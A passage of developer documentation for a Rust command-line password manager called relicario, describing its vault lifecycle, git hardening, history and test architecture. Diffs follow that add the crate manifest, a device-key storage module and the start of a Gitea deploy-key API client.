per-type item helpers (`build_<type>_item` for `cmd_add`, `edit_<type>` for
`cmd_edit`). The per-type split is recent: commit `3f0f5b1` extracted
~217-line `match` arms in `cmd_add` and `cmd_edit` into focused functions,
one per `ItemCore` variant, so each builder/editor reads top-to-bottom and
can be tested through the same integration paths. Owns all clap argument
parsing, all interactive prompts (`prompt`, `prompt_optional`, `prompt_keep`,
`prompt_keep_opt`, `prompt_yesno`, `prompt_secret`), and the shared
`commit_paths` helper that is the single chokepoint for git commits during
vault mutations.
- **`src/session.rs`** (`session.rs:1-152`) — `UnlockedVault` lifecycle. Holds
the derived master key in `Zeroizing<[u8; 32]>` for one CLI invocation; the
key wipes via `Zeroize` on scope exit (`session.rs:22-25`). Owns the
`unlock_interactive` flow (vault root walk → salt read → params read →
reference image extract → passphrase prompt → KDF) at `session.rs:33-59`,
the typed `load_*` / `save_*` accessors for `Item` / `Manifest` /
`VaultSettings`, the `read_salt` / `read_params` helpers, the
`RELICARIO_IMAGE` lookup, and `atomic_write` (`session.rs:144-151`) which
every disk write to a vault file goes through. Owns the env-var escape
hatches `RELICARIO_TEST_PASSPHRASE` (`session.rs:42`) and `RELICARIO_IMAGE`
(`session.rs:125`) that integration tests use to bypass the TTY.
- **`src/helpers.rs`** (`helpers.rs:1-101`) — pure, no-state plumbing:
`find_vault_dir_from` (`helpers.rs:14-28`) walks up parent directories
looking for a `.relicario/` marker; `vault_dir` and `relicario_dir` wrap it
for `cwd`-rooted callers; `git_command` (`helpers.rs:45-55`) is the
hardened-`git` factory that every git invocation in the crate (production
code, not tests) goes through; `iso8601` (`helpers.rs:60-64`) formats Unix
seconds for human-readable output (audit M11). The hardening is
load-bearing — see Invariants & Gotchas below.
## Invariants & contracts
These are the load-bearing rules the crate relies on. Each has been verified
in code; cite the line if you change it.
- **Every vault-mutating command unlocks via `UnlockedVault`.** The struct
holds the master key in `Zeroizing<[u8; 32]>` and drops via `Zeroize` on
scope exit (`session.rs:22-25`). No command bypasses this except
`cmd_generate` outside a vault dir and `cmd_init` (which derives the key
inline before there is a vault to unlock).
- **Every `git` invocation in production code goes through
`helpers::git_command`.** A grep for `Command::new("git")` outside
`helpers.rs` finds zero hits in `src/`; the only other match is in
`tests/edit_and_history.rs:18`, which is test-side verification of the git
log and is exempt by design. `git_command` injects
`core.hooksPath=/dev/null`, `commit.gpgsign=false`, and `core.editor=true`
via `-c` flags (`helpers.rs:48-52`). Direct `Command::new("git")` would
bypass the hardening — don't.
- **Every file write to a vault file uses `atomic_write`.** `atomic_write`
(`session.rs:144-151`) writes `<path>.tmp` then renames over `<path>`; a
partial write never appears as the live file. All `UnlockedVault::save_*`
helpers route through it. (`cmd_init` writes pre-creation files via
`fs::write` at `main.rs:373-393`; that path doesn't need atomicity because
the vault doesn't exist yet — failure leaves a half-built vault that the
next run rejects via `relicario_dir.exists()` at `main.rs:326`.)
- **Every commit during a mutating command uses `commit_paths`.**
`commit_paths` (`main.rs:767-775`) does `git add <paths> && git commit -m
<msg>` through the hardened wrapper. Commit message convention is
`<verb>: <title> (<id>)``add:`, `edit:`, `trash:`, `restore:`, `purge:`,
`attach:`, `detach:`, `settings: update`, `device: add <name>`, `device:
revoke <name>`, `init: new relicario vault (format v2)`, `trash empty:
purged N item(s)`. `cmd_purge` and `cmd_trash_empty` and `cmd_device` use
`git_command` directly (not `commit_paths`) because they need a slightly
different add/commit pattern; they still go through the hardened wrapper.
- **`cmd_generate` is the only command that runs without unlock — and only
when invoked outside a vault directory.** Inside a vault,
`cmd_generate` unlocks to read `settings.generator_defaults`
(`main.rs:1440-1445`); explicit flags override the stored defaults. This is
why the smoke-test `cargo run -p relicario-cli -- generate --length 32`
works without any setup.
- **Item IDs are minted by core.** The CLI never constructs an `ItemId`
directly; `Item::new` (called inside every `build_*_item`) does it via
`relicario-core::ids::new_item_id`. `ItemId`s are 8-char hex.
- **Manifest is always saved last.** Within a single command, the order is:
write item file → mutate manifest → save manifest → commit. If the process
dies between step 1 and step 3, the next run sees an item file with no
manifest entry; `cmd_status` / `cmd_list` ignore it because they read the
manifest, not the directory. (Recovery would manually re-`add` to surface
it.)
- **Vault root is always discovered, never assumed to be `cwd`.**
`helpers::vault_dir` walks up from `cwd` looking for `.relicario/`, so any
command run from a subdirectory of the vault works (verified by
`vault_detection.rs:23-40`). v1 vaults using `.idfoto/` are naturally
rejected because they don't contain `.relicario/` — no compat shim needed
(`vault_detection.rs:42-59`).
- **`prompt_secret` reads `RELICARIO_TEST_ITEM_SECRET` before falling back to
`rpassword`.** This is the only way integration tests can drive the
per-item secret prompts (Login password, Card number, TOTP secret rotation,
Key material) without a real TTY. The check is at `main.rs:308-313`.
## Key flows
### Vault init (`cmd_init`, `main.rs:315-418`)
1. Refuse if `.relicario/` already exists (`main.rs:326-328`).
2. Read passphrase twice (or once via `RELICARIO_TEST_PASSPHRASE`); confirm
they match; run `validate_passphrase_strength` (zxcvbn-backed) and bail
with audit-H3 message on weak input (`main.rs:331-348`).
3. Generate a 32-byte random `image_secret` via `OsRng`, embed it into the
carrier JPEG via `imgsecret::embed`, write the stego output to `--output`
(`main.rs:351-360`).
4. Generate a 32-byte salt and pin `KdfParams { argon2_m: 65536, argon2_t: 3,
argon2_p: 4 }` (production-grade) at `main.rs:363-365`.
5. `derive_master_key(passphrase, image_secret, salt, params)` →
`Zeroizing<[u8;32]>` (`main.rs:368`).
6. Create `.relicario/`, `items/`, `attachments/` dirs; write
`.relicario/{salt, params.json, devices.json}`; encrypt and write
`manifest.enc` (empty `Manifest::new()`) and `settings.enc`
(`VaultSettings::default()`) (`main.rs:370-393`).
7. Write `.gitignore` listing the reference image filename (so the second
factor never accidentally ends up in git) (`main.rs:396-400`).
8. `git init` then initial commit `init: new relicario vault (format v2)`
via `git_command` (`main.rs:403-412`). Note the initial commit does NOT
go through `commit_paths` — it precedes the existence of an
`UnlockedVault`, so the path list is hand-spelled.
### Vault unlock (`UnlockedVault::unlock_interactive`, `session.rs:33-59`)
1. `vault_dir()` walks up from cwd to find `.relicario/`; bails with the
"run `relicario init` first" message on miss (`helpers.rs:21-26`).
2. `read_salt` reads `.relicario/salt` (32 bytes; rejects any other length).
3. `read_params` deserializes `.relicario/params.json` and extracts the
nested `kdf` sub-object as `KdfParams` (`session.rs:110-121`). The nested
shape exists because `params.json` also stores `format_version`, `aead`,
and `salt_path` for forward-compat probing.
4. `get_image_path` honours `RELICARIO_IMAGE`, then a `<vault>/reference.jpg`
convention, then prompts (`session.rs:124-140`).
5. Read the reference image bytes; `imgsecret::extract` runs the DCT
majority-vote decode to recover the 32-byte image secret
(`session.rs:38-40`).
6. Read the passphrase via `RELICARIO_TEST_PASSPHRASE` or `rpassword`
(`session.rs:42-49`).
7. `derive_master_key` produces the master key; `UnlockedVault { root,
master_key }` is returned and lives until the command function returns.
### Item add (`cmd_add`, `main.rs:419-456`)
1. Unlock the vault and load the manifest.
2. Match on the `AddKind` variant and dispatch to the matching
`build_<type>_item` helper (`main.rs:423-438`). Seven variants → seven
builders; only `build_document_item` takes `&UnlockedVault` because it
needs `attachment_caps` and writes the encrypted blob alongside the item.
3. The builder returns a fully-populated `Item` (with title, group, tags,
favorite-flag, primary attachment if any).
4. Common wrap-up: `vault.save_item(&item)`, `manifest.upsert(&item)`,
`vault.save_manifest(&manifest)`.
5. Build the path list — `items/<id>.enc`, `manifest.enc`, plus one
`attachments/<id>/<aid>.enc` per attachment — and call `commit_paths`
with message `add: <title> (<id>)` (`main.rs:444-452`).
### Item edit (`cmd_edit`, `main.rs:938-977`)
1. Unlock, load manifest, resolve query → item id, load the item.
2. Universally-editable fields (title, group, tags) are prompted via
`prompt_keep` / `prompt_keep_opt` first; blank input keeps the current
value (`main.rs:952-956`).
3. Borrow `&mut item.field_history` once into a local `history` binding
(`main.rs:958`), then `match` on `&mut item.core` and dispatch to the
per-type `edit_<type>` helper (`main.rs:959-967`). The history-tracking
editors (`edit_login`, `edit_secure_note`, `edit_card`, `edit_key`,
`edit_totp`) take `&mut FieldHistory`; the others (`edit_identity`,
`edit_document_message`) don't.
4. Each editor that mutates a tracked secret calls `push_history(history,
"<key>", old_value)` (`main.rs:1095-1109`) — see the History flow below
for the synthetic-key convention.
5. `item.modified = now_unix()`, save, upsert manifest, commit
`edit: <title> (<id>)`.
`edit_document_message` (`main.rs:1050-1052`) just prints "use `attach` /
`extract` instead" — Document items can't be field-edited; they're
attachment-shaped.
The `FieldHistory` type alias (`main.rs:983-986`) is purely cosmetic; it
exists so the editor signatures don't have to spell out the full
`HashMap<FieldId, Vec<FieldHistoryEntry>>`.
### History capture and view (`push_history` + `cmd_history`)
`push_history` (`main.rs:1095-1109`) records an old value under a synthetic
`FieldId(format!("core:{key}"))`. The `core:` prefix namespaces these keys so
they can never collide with real custom-field UUIDs from the typed-item
custom-fields work. The keys used in the codebase are:
- `core:login_password` (`main.rs:998`)
- `core:secure_note_body` (`main.rs:1012`)
- `core:card_number` (`main.rs:1031`)
- `core:key_material` (`main.rs:1045`)
- `core:totp_secret` (`main.rs:1063`)
`cmd_history` (`main.rs:1111-1159`) reads `item.field_history`, sorts the
keys, strips the `core:` prefix for display, and prints each entry list
masked or revealed depending on `--show`. The `--field <name>` filter
matches against either the stripped name (`login_password`) or the raw key
(`core:login_password`) so both forms work (`main.rs:1126-1129`). The
`relicario history bank --field totp_secret` form is what
`edit_and_history.rs` exercises.
### Trash & purge (`cmd_rm` / `cmd_restore` / `cmd_purge` / `cmd_trash_empty`)
- `cmd_rm` (`main.rs:1161-1176`) calls `Item::soft_delete()` (sets
`trashed_at`), saves, upserts manifest, commits `trash:`.
- `cmd_restore` (`main.rs:1178-1193`) is the inverse: `Item::restore()`,
same wrap-up, commit `restore:`.
- `cmd_purge` (`main.rs:1220-1237`) calls `purge_item` (`main.rs:1197-1218`)
which removes the item file, the attachment dir, the manifest entry, and
`git rm -rf --ignore-unmatch`s the paths. Then a single `git add
manifest.enc` + commit `purge: <title> (<id>)`.
- `cmd_trash_empty` (`main.rs:1246-1282`) is the only multi-item mutating
command. It loads settings once, iterates all items past their
`trash_retention` window, calls `purge_item` for each, then does a single
`git add manifest.enc` + commit `trash empty: purged N item(s)`. The
single-unlock-per-batch shape was the fix in commit `b5015b3` — the
earlier version re-prompted for the passphrase per item.
### Attach / detach / extract
- `cmd_attach` (`main.rs:1283-1339`) loads `attachment_caps` from settings
and rejects if the item has hit `per_item_max_count`. `encrypt_attachment`
enforces `per_attachment_max_bytes`. The encrypted blob lands at
`attachments/<item_id>/<aid>.enc`; the `aid` is content-addressed by core.
Commit message: `attach: <file> → <title> (<id>)`.
- `cmd_detach` (`main.rs:1376-1424`, added in `3f0f5b1`) removes one
attachment from the item, deletes the encrypted blob, rewrites the item.
Refuses if the target `aid` is a `Document` item's `primary_attachment`
(`main.rs:1392-1400`) — that would orphan the item; use `purge` instead.
Commit message: `detach: <filename> from <title> (<id>)`.
- `cmd_extract` (`main.rs:1354-1375`) decrypts the blob and writes the
plaintext to `--out` or to `<filename>` in cwd. Read-only: no commit, no
state mutation.
- `cmd_attachments` (`main.rs:1341-1352`) lists `aid`, size, mime, filename
— read-only.
### Generate (`cmd_generate`, `main.rs:1426-1489`)
Has two distinct modes:
- **Outside a vault** — `vault_dir()` returns `Err`; `vault_defaults` stays
`None`; defaults are hard-coded (`length: 20`, `symbols: SafeOnly`,
`words: 5`, `separator: " "`, `Capitalization::Lower`). No unlock prompt.
- **Inside a vault** — `vault_dir()` succeeds; full unlock; load
`settings.generator_defaults`. Explicit flags override the stored defaults
field-by-field. `--bip39` flips mode; absent that flag, the mode is
whatever the stored default is. Tests:
`settings.rs::generate_uses_vault_default_length` (length-tracking) and
`basic_flows.rs::generate_random_and_bip39` (no-vault smoke).
The two-mode shape is deliberate (see Gotchas) and is why `cmd_generate` is
the only command outside `cmd_init` that touches `helpers::vault_dir()`
directly instead of going through `UnlockedVault::unlock_interactive()`.
### Sync (`cmd_sync`, `main.rs:1582-1590`)
`git pull --rebase` then `git push`, both via the hardened wrapper. No
unlock — sync moves opaque ciphertext, the master key is never needed. This
is the only command that fails on conflict; it doesn't try to resolve.
Resolution happens manually in the user's git tooling.
### Status (`cmd_status`, `main.rs:1592-1631`, added in `3f0f5b1`)
Unlocks; loads manifest; counts items (active vs trashed), attachments
(count + total bytes), devices (parsed from `devices.json`); shells out to
`git log -1 --pretty=format:%h %s` for the last-commit summary line. All
read-only — no commit, no state change.
### Device management (`cmd_device`, `main.rs:1632-1702`)
Add: generate ed25519 keypair via `OsRng`, append `{name, public_key}` to
`.relicario/devices.json`, write the secret signing key to
`<config_dir>/relicario/devices/<name>.key` with `0o600` on Unix, commit
`device: add <name>`. List: print `name pubkey_hex`. Revoke: filter by name,
rewrite `devices.json`, commit `device: revoke <name>`. Note that device
keys are kept entirely separate from the KDF (passphrase × image stays
unchanged across device add/revoke), as per the design spec.
### Backup-passphrase-style commands (none yet)
The import / export / `import-lastpass` commands described in
`docs/superpowers/specs/2026-04-27-relicario-import-export-design.md` are
not yet implemented. When they land they'll fit in the dispatcher
(`main.rs:279-302`) alongside `Sync` and `Status`. Don't add stubs here
until that work begins.
## Cross-cutting concerns
- **Error model.** Every `cmd_*` returns `anyhow::Result<()>`. Core errors
bubble up through `?` from `RelicarioError`. Per-step context is added
via `with_context(|| ...)` chains, e.g. `format!("failed to read {}",
path.display())`. AEAD authentication failures intentionally surface as
the ambiguous "wrong passphrase or corrupt vault" message from core — the
CLI does not differentiate. clap argument errors are produced by clap
(e.g., `--days` and `--forever` together fail at the
`SettingsAction::TrashRetention` arm in `main.rs:1504-1510`).
- **Atomicity.** Every disk write to a vault file goes through
`session.rs::atomic_write` (`session.rs:144-151`): write `<path>.tmp`, then
rename over `<path>`. Manifest is the single source of truth and is
always written *last* in any multi-file operation, so a process kill
between item-write and manifest-write leaves an orphan item file (which
doesn't appear in `list`/`status`) but never a manifest pointing to a
missing file.
- **Git history as audit log.** Per-action commits, never amended, never
squashed. The verb prefix on commit subjects (`add:`, `edit:`, `trash:`,
`restore:`, `purge:`, `attach:`, `detach:`, `settings:`, `device:`,
`init:`) makes `git log --oneline` a literal audit trail. Tests verify
this by greping `git log` directly (e.g., `edit_and_history.rs:18-22`).
- **Where secrets live.**
- Master key — `UnlockedVault.master_key: Zeroizing<[u8; 32]>`
(`session.rs:24`). Wipes on drop.
- Image secret — `Zeroizing<[u8; 32]>`, lives only inside
`unlock_interactive` until the KDF call (`session.rs:40`).
- Passphrase — `Zeroizing<String>` from `rpassword::prompt_password` or
the env var (`session.rs:42-49`, `main.rs:333-342`).
- Item secrets — `Zeroizing<String>` for `Login.password`, `Card.number`,
`Card.cvv`, `Card.pin`, `Key.key_material`, `SecureNote.body`, and
`Zeroizing<Vec<u8>>` for `TotpCore.config.secret` (decoded from
base32). All flow through core types.
- Clipboard copy — `Zeroizing<String>` cloned into the detached 30s
auto-clear thread (`main.rs:873-889`).
- **Test escape hatches.** Three env vars exist for integration tests; all
are read at exactly one site each:
- `RELICARIO_TEST_PASSPHRASE` — `session.rs:42` (unlock) and
`main.rs:333,338` (init).
- `RELICARIO_IMAGE` — `session.rs:125` (image path resolution).
- `RELICARIO_TEST_ITEM_SECRET` — `main.rs:309` (`prompt_secret` only).
None of them have a production fall-through; absent the var, the code
always prompts. They are safe in production binaries because the user
would have to set them explicitly.
- **Generate-without-unlock is intentional.** It is NOT an oversight.
`relicario generate --length 32` is the documented smoke test (see the
repo's CLAUDE.md) and works as a standalone CSPRNG password generator
outside any vault. Inside a vault it does require unlock — see Gotchas.
## Test architecture
All tests are integration tests; there are no `#[cfg(test)]` modules in
`src/main.rs` or `src/session.rs`. `helpers.rs` has four unit tests
(`helpers.rs:67-100`) that exercise vault-dir walking and `iso8601`
formatting in isolation. Everything else is `tests/`.
- **`tests/common/mod.rs`** (`117 lines`) — the harness. `TestVault::init()`
spins up a fresh `TempDir`, generates a 400×300 JPEG via
`make_test_jpeg()` (deterministic noise; no binary fixtures), runs
`relicario init --image carrier.jpg --output reference.jpg` with
`RELICARIO_TEST_PASSPHRASE` set, and stashes the passphrase + reference
image path on the struct. `run` and `run_with_input` are the two ways to
invoke the binary against the test vault: both inherit
`RELICARIO_IMAGE` + `RELICARIO_TEST_PASSPHRASE`; the latter pipes extra
newlines into stdin (used for interactive prompts that aren't
`rpassword`-driven). The note at the top warns Task 23 implementers
about the new-item-password rpassword path; the fix landed as
`RELICARIO_TEST_ITEM_SECRET` in commit `20350d5`.
- **`tests/basic_flows.rs`** (`136 lines`) — covers the init layout
(`.relicario/{salt,params.json,devices.json}`, `manifest.enc`,
`settings.enc`, `reference.jpg`, `.gitignore`, `.git`); the `params.json`
v2 shape; `add login` + `list`; `get` masking semantics (with and
without `--show`); the rm/restore/purge cycle including `list --trashed`;
and the two-mode `generate` smoke (random length + bip39 word count) run
outside a vault.
- **`tests/edit_and_history.rs`** (`191 lines`) — drives `edit` end-to-end
by piping stdin lines (blank to keep, `y` to confirm) plus
`RELICARIO_TEST_ITEM_SECRET` for the rpassword leg. `edit_password_*`
verifies the item file is rewritten and the `edit: bank` commit lands.
The four `history_command_*` tests cover masked listing, `--show`
reveal, "no history captured" output, and per-field filtering. The
`edit_totp_rotates_secret_and_captures_history` test (added 2026-04-27
in commit `3f0f5b1` — fixes a stub at the old `main.rs:925`) drives the
full TOTP edit including issuer / label / secret rotation.
- **`tests/attachments.rs`** (`106 lines`) — `attach`/`attachments`/
`extract` round-trip (verifies the bytes survive the encrypt-decrypt
hop); `detach` removes both the attachment ref and the encrypted blob
on disk; `detach` rejects an unknown `aid`; `attach` rejects payloads
over `per_attachment_max_bytes`. The detach test (`detach_*`) and the
cap test were added in `3f0f5b1` / `20350d5` respectively.
- **`tests/settings.rs`** (`135 lines`) — `settings show` and
`settings trash-retention --days 60` round-trip; the conflicting-flags
rejection (`--days` + `--forever`); the
`generate_uses_vault_default_length` test that verifies (a) default
vault length is 20, (b) updating `settings generator-defaults --length
32` changes the default, (c) explicit `--length 8` overrides the stored
default; the multi-shape `cmd_status` smoke; and the
`generate_works_outside_vault` test that verifies the no-unlock path
works in a bare `TempDir` with no `.relicario/`.
- **`tests/vault_detection.rs`** (`59 lines`) — three tests covering audit
L8: `list` refuses without a marker; `list` from a nested subdirectory
finds the parent `.relicario/`; a v1 `.idfoto/` directory is rejected
with the `.relicario` hint in the error message.
The whole test suite uses `assert_cmd` to spawn the real binary against a
real temp directory, so they exercise actual fs / git / KDF code paths.
The KDF runs with the production-grade `m=64MiB, t=3, p=4` parameters in
the test path (`main.rs:365`), which is why init takes a noticeable beat
in the test runner. The core's "fast Argon2id for tests" CLAUDE.md note
applies to `relicario-core` unit tests, not these CLI integration tests.
## Gotchas & non-obvious decisions
- **`cmd_generate` runs without unlock outside a vault, but with unlock
inside.** This is two ergonomic guarantees in one command. Outside, it's
a fast standalone CSPRNG tool — useful for smoke tests, scripts, and any
user who installed `relicario` just for the generator. Inside, it
consults `settings.generator_defaults` so the user gets the policy they
configured. The branch is the `vault_dir().is_ok()` check at
`main.rs:1440`. Tests pin both behaviours.
- **TOTP edit pushes history under the synthetic key `core:totp_secret`,
not `core:totp` or anything else.** This is what `relicario history
<query> --field totp_secret` matches against. The naming convention
("type underscore field") is shared across all five history-tracked
fields (see Invariants). If you add a new history-tracked field, pick a
matching `<type>_<field>` form so the user-facing `--field` filter
stays predictable.
- **`detach` refuses a Document item's primary attachment.**
(`main.rs:1392-1400`) Document items model "this item *is* a file"; the
primary blob isn't optional. The error directs the user to `purge`
instead. Non-primary attachments on a Document (e.g., a scanned
contract with an addendum) detach normally.
- **Per-type `build_*_item` / `edit_*` helpers exist by design after the
`3f0f5b1` refactor.** Before the refactor, `cmd_add` and `cmd_edit`
carried 217-line `match` arms. The split-out functions are easier to
read, easier to test individually (the existing integration tests still
drive them through the same paths), and easier to grow when a new
`ItemCore` variant lands. Keep this shape — don't fold them back.
- **Why the CLI shells out to `git`, not libgit2 / gitoxide.** Three
reasons. (1) Dep tree: pulling in libgit2 doubles compile time and
adds a C dependency. (2) Override surface: users can put any
`~/.gitconfig` they want and it Just Works (subject to the hardening
flags). (3) Recovery: when something is wrong with a vault, the user
can poke around with `git log`, `git show`, `git fsck` directly; the
CLI's git interactions are not opaque.
- **The hardened-`git` injection set is load-bearing.** `git_command`
prepends three `-c` flags before the user-supplied args
(`helpers.rs:48-52`):
- `core.hooksPath=/dev/null` — a malicious or buggy hook in a cloned
vault could otherwise run arbitrary code on every commit. Master key
is in memory at the time of commit; this matters.
- `commit.gpgsign=false` — if the user has global GPG signing on, the
GPG agent prompt would block on `git commit` and hold the master
key alive in memory until the user types the passphrase. Disable it
for relicario commits.
- `core.editor=true` — `true(1)` exits 0 with no output. If `git`
decides to drop into `$EDITOR` (rebase conflict markers, missing
`-m`), this neutralises it without crashing the rebase. We pass
`-m <msg>` ourselves; this flag is the seatbelt.
All three were added together in audit H4. A user can still run
`git` themselves with their own config to inspect or repair the
vault — the hardening only applies to relicario's invocations.
- **`cmd_init` uses production-grade `KdfParams { m: 65536, t: 3, p: 4
}`** (`main.rs:365`), even in tests. `RELICARIO_TEST_PASSPHRASE`
bypasses the prompt but does not lower the KDF cost. This is a
trade-off: integration tests pay the full Argon2id cost (~half a
second per init on a modern machine), but the same code path runs in
production. Don't lower the params here — the core's test-only fast
params are for `relicario-core` unit tests.
- **`params.json` has a nested `kdf` object, not a flat one.**
`read_params` (`session.rs:110-121`) deserializes via a private
`ParamsFile { kdf: KdfParams }` struct. The nesting exists so
`format_version`, `aead`, and `salt_path` can co-exist in the same
file for forward-compat. An earlier version of `read_params` tried
to deserialize the whole file as `KdfParams` and failed silently —
that bug was fixed in commit `b263c27`.
- **`commit_paths` is the convention but not always the call site.**
`cmd_purge`, `cmd_trash_empty`, and `cmd_device` use `git_command`
directly because their add/commit pattern doesn't quite fit
`commit_paths(vault, msg, &[paths...])`. They still use the
hardened wrapper, just at one level lower. If you find yourself
writing a new command with the same shape, prefer `commit_paths`;
reach for `git_command` directly only when you need the slightly
different control flow these three have.
- **Initial commit at `cmd_init` does not use `commit_paths`.**
Reason: `commit_paths` takes `&UnlockedVault`, but `cmd_init` doesn't
construct one — it uses the master key inline before the vault
exists. The init commit goes through `git_command` directly
(`main.rs:403-412`). This is the only production code site outside
`commit_paths` that does so.
- **`Lock` is a no-op (`main.rs:301`).** The CLI doesn't cache a
session — every command re-derives the master key. The command
exists only for UX parity with the extension, where `lock` actually
evicts a cached session. Printed message: `no cached session to
lock`.
- **`resolve_query` accepts an item id or a case-insensitive title
substring** (`main.rs:855-871`). Exact id-match wins; otherwise it
defers to `Manifest::search`. Multi-hit substring matches are
rejected with an "ambiguous" error listing the matched titles. This
is why every `cmd_*` that takes a `query: String` (get, edit,
history, rm, restore, purge, attach, attachments, extract, detach)
works the same way.

View File

@@ -0,0 +1,37 @@
[package]
name = "relicario-cli"
version = "0.2.0"
edition = "2021"
description = "CLI for relicario password manager"
[[bin]]
name = "relicario"
path = "src/main.rs"
[dependencies]
relicario-core = { path = "../relicario-core" }
clap = { version = "4", features = ["derive"] }
anyhow = "1"
rpassword = "7"
arboard = "3"
chrono = { version = "0.4", default-features = false, features = ["clock"] }
dirs = "5"
hex = "0.4"
rand = "0.8"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
zeroize = "1"
url = "2"
data-encoding = "2"
tar = { version = "0.4", default-features = false }
clap_complete = "4"
image = { version = "0.25", default-features = false, features = ["jpeg", "png"] }
rqrr = "0.7"
reqwest = { version = "0.12", features = ["blocking", "json"] }
[dev-dependencies]
assert_cmd = "2"
predicates = "3"
tempfile = "3"
qrcode = "0.14"
serde_json = "1"

View File

@@ -0,0 +1,166 @@
//! Local device key storage and git signing configuration.
//!
//! Keys live under `~/.config/relicario/devices/<device-name>/`:
//! signing.key — ed25519 private key (OpenSSH, 0600)
//! signing.pub — ed25519 public key (OpenSSH single line)
//! deploy.key — ed25519 private key for git push (OpenSSH, 0600)
//! deploy.pub — ed25519 public key registered as Gitea deploy key
//! gitea_key_id — numeric Gitea deploy key ID for later revocation
//!
//! The file `~/.config/relicario/devices/current` holds the active device name
//! (one plain-text line).
use std::fs::{self, Permissions};
use std::path::PathBuf;
use anyhow::{Context, Result};
use zeroize::Zeroizing;
/// `~/.config/relicario/devices/`
pub fn devices_dir() -> Result<PathBuf> {
let config = dirs::config_dir()
.ok_or_else(|| anyhow::anyhow!("no config directory available"))?;
Ok(config.join("relicario").join("devices"))
}
/// `~/.config/relicario/devices/<name>/`
pub fn device_dir(name: &str) -> Result<PathBuf> {
Ok(devices_dir()?.join(name))
}
/// Read the current device name from `devices/current`, or `None` if not set.
pub fn current_device() -> Result<Option<String>> {
let path = devices_dir()?.join("current");
if !path.exists() {
return Ok(None);
}
let name = fs::read_to_string(&path)
.context("read current device")?
.trim()
.to_string();
if name.is_empty() {
Ok(None)
} else {
Ok(Some(name))
}
}
/// Write the active device name to `devices/current`.
pub fn set_current_device(name: &str) -> Result<()> {
let dir = devices_dir()?;
fs::create_dir_all(&dir).context("create devices dir")?;
fs::write(dir.join("current"), format!("{name}\n"))
.context("write current device")?;
Ok(())
}
/// Store all keys for a device, applying restrictive permissions on private
/// key files on Unix.
pub fn store_device_keys(
name: &str,
signing_private: &str,
signing_public: &str,
deploy_private: &str,
deploy_public: &str,
gitea_key_id: u64,
) -> Result<()> {
let dir = device_dir(name)?;
fs::create_dir_all(&dir).context("create device dir")?;
fs::write(dir.join("signing.key"), signing_private)
.context("write signing.key")?;
fs::write(dir.join("signing.pub"), signing_public)
.context("write signing.pub")?;
fs::write(dir.join("deploy.key"), deploy_private)
.context("write deploy.key")?;
fs::write(dir.join("deploy.pub"), deploy_public)
.context("write deploy.pub")?;
fs::write(dir.join("gitea_key_id"), gitea_key_id.to_string())
.context("write gitea_key_id")?;
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
fs::set_permissions(dir.join("signing.key"), Permissions::from_mode(0o600))
.context("chmod signing.key")?;
fs::set_permissions(dir.join("deploy.key"), Permissions::from_mode(0o600))
.context("chmod deploy.key")?;
}
Ok(())
}
/// Load the signing private key for a device.
pub fn load_signing_key(name: &str) -> Result<Zeroizing<String>> {
let path = device_dir(name)?.join("signing.key");
let key = fs::read_to_string(&path)
.with_context(|| format!("read signing key for device '{name}'"))?;
Ok(Zeroizing::new(key))
}
/// Load the deploy private key for a device.
pub fn load_deploy_key(name: &str) -> Result<Zeroizing<String>> {
let path = device_dir(name)?.join("deploy.key");
let key = fs::read_to_string(&path)
.with_context(|| format!("read deploy key for device '{name}'"))?;
Ok(Zeroizing::new(key))
}
/// Load the Gitea deploy key ID for a device.
pub fn load_gitea_key_id(name: &str) -> Result<u64> {
let path = device_dir(name)?.join("gitea_key_id");
let id_str = fs::read_to_string(&path)
.with_context(|| format!("read Gitea key ID for device '{name}'"))?;
id_str.trim().parse().context("parse Gitea key ID")
}
/// Delete the local key directory for a device.
pub fn delete_device_keys(name: &str) -> Result<()> {
let dir = device_dir(name)?;
if dir.exists() {
fs::remove_dir_all(&dir)
.with_context(|| format!("delete device dir for '{name}'"))?;
}
Ok(())
}
/// Configure git in `vault_root` to:
/// - sign commits with the device's signing key (SSH format)
/// - push via SSH using the device's deploy key
pub fn configure_git_signing(vault_root: &std::path::Path, name: &str) -> Result<()> {
let dir = device_dir(name)?;
let signing_key = dir.join("signing.key");
let deploy_key = dir.join("deploy.key");
// gpg.format = ssh so git uses SSH-format signing
crate::helpers::git_command(vault_root, &["config", "gpg.format", "ssh"])
.status()
.context("git config gpg.format")?;
// user.signingkey = path to the private key file
crate::helpers::git_command(
vault_root,
&["config", "user.signingkey", &signing_key.to_string_lossy()],
)
.status()
.context("git config user.signingkey")?;
// commit.gpgsign = true
crate::helpers::git_command(vault_root, &["config", "commit.gpgsign", "true"])
.status()
.context("git config commit.gpgsign")?;
// core.sshCommand — use only the deploy key for push
let ssh_cmd = format!(
"ssh -i {} -o IdentitiesOnly=yes",
deploy_key.display()
);
crate::helpers::git_command(
vault_root,
&["config", "core.sshCommand", &ssh_cmd],
)
.status()
.context("git config core.sshCommand")?;
Ok(())
}

View File

@@ -0,0 +1,114 @@
//! Gitea API client for deploy key management.
use anyhow::{Context, Result};
use serde::{Deserialize, Serialize};
#[derive(Debug, Clone)]
pub struct GiteaClient {
api_url: String,
token: String,
owner: String,
repo: String,
}
#[derive(Debug, Serialize)]
struct CreateKeyRequest<'a> {
title: &'a str,
key: &'a str,
read_only: bool,
}
#[derive(Debug, Deserialize)]
pub struct DeployKey {
pub id: u64,
pub title: String,
pub key: String,
}
impl GiteaClient {
pub fn new(api_url: &str, token: &str, owner: &str, repo: &str) -> Self {
Self {
api_url: api_url.trim_end_matches('/').to_string(),
token: token.to_string(),
owner: owner.to_string(),
repo: repo.to_string(),
}
}
/// Create a deploy key, returning its ID.
pub fn create_deploy_key(&self, title: &str, public_key: &str) -> Result<u64> {
let url = format!(
"{}/repos/{}/{}/keys",
self.api_url, self.owner, self.repo
);
let client = reqwest::blocking::Client::new();
let resp = client
.post(&url)
.header("Authorization", format!("token {}", self.token))
.header("Content-Type", "application/json")
.json(&CreateKeyRequest {
title,
key: public_key,
read_only: false,
})
.send()
.context("Gitea API request failed")?;
if !resp.status().is_success() {
let status = resp.status();
let body = resp.text().unwrap_or_default();
anyhow::bail!("Gitea API error {}: {}", status, body);
}
let key: DeployKey = resp.json().context("parse deploy key response")?;
Ok(key.id)
}
/// Delete a deploy key by ID.
pub fn delete_deploy_key(&self, key_id: u64) -> Result<()> {
let url = format!(
"{}/repos/{}/{}/keys/{}",
self.api_url, self.owner, self.repo, key_id
);
let client = reqwest::blocking::Client::new();
let resp = client
.delete(&url)
